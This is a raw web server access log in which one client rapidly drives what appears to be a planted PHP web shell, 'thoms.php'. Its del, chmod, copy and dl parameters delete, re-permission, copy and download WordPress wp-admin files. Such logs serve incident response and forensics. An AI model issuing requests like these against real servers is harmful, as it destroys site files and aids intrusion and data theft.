45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?chmod=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?del=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-install.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?del=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?dl=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22244 "https://163.245.207.76:443/thoms.php?del=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?del=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/async-upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?del=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22089 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-styles.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?del=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/users.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22096 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?dl=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?chmod=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?chmod=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=moderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22244 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?chmod=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:39 -0400] "GET /thoms.php?del=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?del=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?chmod=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22178 "https://163.245.207.76:443/thoms.php?chmod=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?dl=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?dl=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?dl=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fterm.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fterm.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fterm.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:40 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?del=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?chmod=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
